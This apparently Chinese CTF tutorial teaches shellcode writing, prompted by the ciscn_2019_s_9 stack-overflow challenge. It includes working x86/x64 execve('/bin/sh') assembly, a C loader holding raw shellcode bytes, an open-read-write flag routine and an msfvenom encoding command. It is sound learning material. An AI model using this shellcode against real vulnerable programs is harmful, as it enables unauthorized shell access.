shellcode学习

一道题目

最近在buu上面刷题的时候发现了一道题目 ciscn_2019_s_9 ，这道题目需要我们自己编写 shellcode ，以前 shellcode 都是从 pwntools 或者是msf里面直接生成的，所以借此机会来学习一下 shellcode 的编写

我们先检查一下附件的保护机制 ，啥保护也没开，所以我们可以直接在栈上面构造shellcode然后执行

丢到IDA里面看一下，这里变量s的栈空间只有.0x20大小，而fgets函数可以读入50即0x32，所以存在栈溢出

我们看一下 pwntools 直接生成的 shellcode ，可以看到有足足0x2c大小，栈是装不下的，所以需要我们手写 shellcode

常见获取shellcode的方法

pwntools

在 pwntools 里面使用 shellcraft 函数生成 shellcode ，使用该函数的时候需要在前面指定架构，因为每个架构生成的 shellcode 是不一样的

context(os = 'linux', arch = 'i386')	# os是指操作系统，arch指架构
shellcode = shellcraft.sh()

直接使用 shellcraft.sh() 可以直接生成汇编语言格式的 shellcode

这里拿 i386 架构的 shellcode 浅析一下

form pwn import *
context(os = 'linux', arch = 'i386')
shellcode = shellcraft.sh()
print(shellcode)

这就是pwntools生成的shellcode

msf

msf是一个漏洞利用框架，可以使用msfvenom生成shellcode

直接 msfvenom --help 就可以查看相关命令

使用 --list 可以列出一些payload的信息

msfvenom就是一个生成shellcode的工具，这里不做过多的介绍，关于该工具的更多使用，大家可以上网查阅

exploit-db

这是一个漏洞库，里面会有很多漏洞利用的shellcode

官网 : https://www.exploit-db.com/

该网站有很多最新或者以前的漏洞，里面一般都有exp，也可以从这些exp中学习shellcode

shell-storm

这个网站里面有很多大佬写的shellcode

网站 : http://shell-storm.org/shellcode/

shellcode编写

前置知识

首先我们学习一下系统调用，程序在执行到int 0x80的时候会进入内核态执行相应的系统调用，这时候eax/rax存放的是系统调用号，然后寄存器里面存放着各个参数

x86

x86程序的参数分别由ebx/ecx/edxesi/edi/ebp存放

x64

x64程序的参数分别由rdi/rsi/rdx/r10/r8/r9存放

简单的shellcode

这里我们使用汇编来编写练习一下shellcode的编写

x86

;nasm -f elf32 shellcode_x86.asm
;ld -m elf_i386 -o shellcode_x64 shellcode_x86.o

global _start
_start:
        push 0x68732f	;push '/sh'
        push 0x6e69622f	;push '/bin'
        mov ebx, esp	;ebx='/bin/sh'
        xor edx, edx	;edx=0
        xor ecx, ecx	;ecx=0
        mov eax, 0xb	eax=0xb
        int 0x80

x64

;nasm -f elf64 shellcode_x64.asm
;ld -m elf_x86_64 -o shellcode_x64 shellcode_x64.o

global _start
_start:
        mov rbx, '/bin/sh'	;将'/bin/sh'赋值给rbx
        push rbx	;将rbx的值，即'/bin/sh'压入栈中
        push rsp	;将esp的值压入栈中
        pop rdi		;将esp赋值给rdi，rdi='/bin/sh'
        xor rsi, rsi	;rsi=0
        xor rdx, rdx	;rdx=0
        mov rax, 0x3b	;rax=0x3b
        syscall

其实归根到底就是调用 execve('/bin/sh', 0, 0)

我们测试一下，使用 objdump 将文件的汇编代码以及十六进制显示出来 objdump -d shellcode_x64.o

然后我们写一个加载器，加载这个shellcode，我们把shellcode设置为局部变量，这样就会加载在栈上，然后我们给栈可执行权限 -z execstack

// gcc exp.c -o exp -g -z execstack
#include <stdio.h>
#include <string.h>
int main(){
	char buf[] = "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x54\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05";	// shellcode
    	void (*fp)(void) = (void (*)(void))buf;
    	printf("Length : %ld\n", strlen(buf));
    	fp();
    	return 0;
}

我们运行，成功拿到一个shell

orw

在PWN比赛中有时会遇到开了沙盒的题目，这时候大部分系统调用都被禁用了，一般open、read、write这三个系统调用不会被禁用，所以我们可以使用orw直接将flag打印出来

;x86
global _start
_start:
	push 'flag'		;fd=open(flag, 0)
	mov eax, 0x5
	mov ebx, esp
	mov ecx, 0
	int 0x80
	mov ebx, eax	;read(fd, addr, 0x40)
	mov eax, 0x3
	mov ecx, addr
	mov edx, 0x40
	int 0x80
	mov ebx, 0x1	;write(1, addr, 0x40)
	mov eax, 0x4
	mov ecx, addr
	mov edx, 0x40
	int 0x80

shellcode变形

有时候程序会只让我们输入可打印字符，这是我们就需要将shellcode进行变形

对于x86的话，msf里面有个内置的encoder模块，可以生成编码过后的shellcode

也可以使用管道符来对自己的shellcode进行编码

cat shellcode | msfvenom -p linux -e x86/alpha_upper BufferRegister=eax

参考文章

https://blog.csdn.net/qq_35495684/article/details/79583232

https://docs.pwntools.com/